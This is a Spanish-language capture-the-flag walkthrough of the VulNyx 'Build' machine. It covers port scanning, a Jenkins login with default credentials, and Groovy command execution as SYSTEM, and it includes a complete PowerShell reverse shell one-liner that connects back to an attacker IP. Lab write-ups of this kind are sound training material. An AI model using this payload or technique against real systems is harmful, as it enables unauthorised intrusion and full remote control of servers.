VulNyx - Build
- Jenkins Default Credentials
- Remote Code Execution via Jenkins Script Console (Groovy)
- Reverse Shell via PowerShell Executed from Jenkins
- Windows Privilege Escalation – Execution as NT AUTHORITY\SYSTEM
Escaneo de puertos
❯ nmap -p- -sS --min-rate 5000 -vvv -n -Pn 172.0.100.40
PORT STATE SERVICE REASON
80/tcp open http syn-ack ttl 128
135/tcp open msrpc syn-ack ttl 128
139/tcp open netbios-ssn syn-ack ttl 128
445/tcp open microsoft-ds syn-ack ttl 128
5040/tcp open unknown syn-ack ttl 128
7680/tcp open pando-pub syn-ack ttl 128
8080/tcp open http-proxy syn-ack ttl 128
49664/tcp open unknown syn-ack ttl 128
49665/tcp open unknown syn-ack ttl 128
49666/tcp open unknown syn-ack ttl 128
49667/tcp open unknown syn-ack ttl 128
49668/tcp open unknown syn-ack ttl 128
49669/tcp open unknown syn-ack ttl 128
49670/tcp open unknown syn-ack ttl 128
Escaneo de servicios
❯ nmap -sVC -p 80,135,139,445,5040,7680,8080,49664,49665,49666,49667,49668,49669,49670 172.0.100.40
PORT STATE SERVICE VERSION
80/tcp open http Microsoft IIS httpd 10.0
|_http-server-header: Microsoft-IIS/10.0
|_http-title: IIS Windows
| http-methods:
|_ Potentially risky methods: TRACE
135/tcp open msrpc Microsoft Windows RPC
139/tcp open netbios-ssn Microsoft Windows netbios-ssn
445/tcp open microsoft-ds?
5040/tcp open unknown
7680/tcp closed pando-pub
8080/tcp open http Jetty 12.0.19
|_http-server-header: Jetty(12.0.19)
| http-robots.txt: 1 disallowed entry
|_/
|_http-title: Site doesn't have a title (text/html;charset=utf-8).
49664/tcp open msrpc Microsoft Windows RPC
49665/tcp open msrpc Microsoft Windows RPC
49666/tcp open msrpc Microsoft Windows RPC
49667/tcp open msrpc Microsoft Windows RPC
49668/tcp open msrpc Microsoft Windows RPC
49669/tcp open msrpc Microsoft Windows RPC
49670/tcp open msrpc Microsoft Windows RPC
HTTP TCP - 80
Servicio HTTP corriendo bajo IIS en Windows. No se identificaron recursos relevantes o interactivos.
HTTP TCP - 8080
Interfaz web de Jenkins expuesta públicamente.
Se accede a Jenkins utilizando credenciales por defecto: admin/admin
.
Dentro del panel de Jenkins, en la sección “Tools and Actions”, se accede a “Consola de scripts”.
Esta consola permite ejecutar código Groovy directamente en el sistema
📌 Consulta a ChatGPT
Para identificar cómo ejecutar comandos del sistema con Groovy, se consulta a ChatGPT, que sugiere el siguiente ejemplo funcional:
def comando = "cmd /c dir"
def proceso = comando.execute()
proceso.waitFor()
println proceso.text
Este fragmento se prueba en la consola y confirma que la ejecución de comandos está habilitada.
Posteriormente, se ejecuta:
def comando = "cmd /c whoami"
def proceso = comando.execute()
proceso.waitFor()
println proceso.text
Esto revela que los comandos se ejecutan con nt authority\system, el nivel más alto en entornos Windows.
Reverse Shell – Acceso Interactivo
Dado que se cuenta con ejecución remota como SYSTEM, se lanza una reverse shell en PowerShell utilizando código Groovy desde la consola de Jenkins.
def comando = 'powershell -NoP -NonI -W Hidden -Command "$client = New-Object System.Net.Sockets.TCPClient(\'172.0.100.25\',4444);$stream = $client.GetStream();[byte[]]$bytes = 0..65535|%{0};while(($i = $stream.Read($bytes, 0, $bytes.Length)) -ne 0){;$data = (New-Object -TypeName System.Text.ASCIIEncoding).GetString($bytes,0, $i);$sendback = (iex $data 2>&1 | Out-String );$sendback2 = $sendback + \'PS \' + (pwd).Path + \'> \';$sendbyte = ([text.encoding]::ASCII).GetBytes($sendback2);$stream.Write($sendbyte,0,$sendbyte.Length);$stream.Flush()}"'
def process = comando.execute()
process.waitFor()
println "[+] Reverse shell ejecutada"
El payload generado es ejecutado desde la Script Console, lo que permite establecer una sesión remota con privilegios elevados.
Se establece exitosamente una reverse shell con privilegios de SYSTEM.
🏴☠️ Recolección de Flags.
Con acceso interactivo, se procede a buscar y leer las flags en los escritorios de los usuarios:
Get-ChildItem -Path "C:\Users\*\Desktop\*.txt" -Force -Recurse
📖 Leer contenido de las flags:
Para visualizar el contenido de las posibles flags ubicadas en los escritorios de los usuarios, se pueden emplear las siguientes opciones:
🔹 Opción simple:
Muestra el contenido de todos los archivos .txt
encontrados directamente:
Get-Content C:\Users\*\Desktop\*.txt
🔹 Opción detallada:
Recorre cada archivo y muestra su ruta junto con el contenido:
Get-ChildItem "C:\Users\*\Desktop\*.txt" -Force -ErrorAction SilentlyContinue | % { "`n--- $($_.FullName) ---"; Get-Content $_.FullName -ea SilentlyContinue }
Y así concluye el viaje en la máquina Build.
Que el destino te guíe.
Saludos.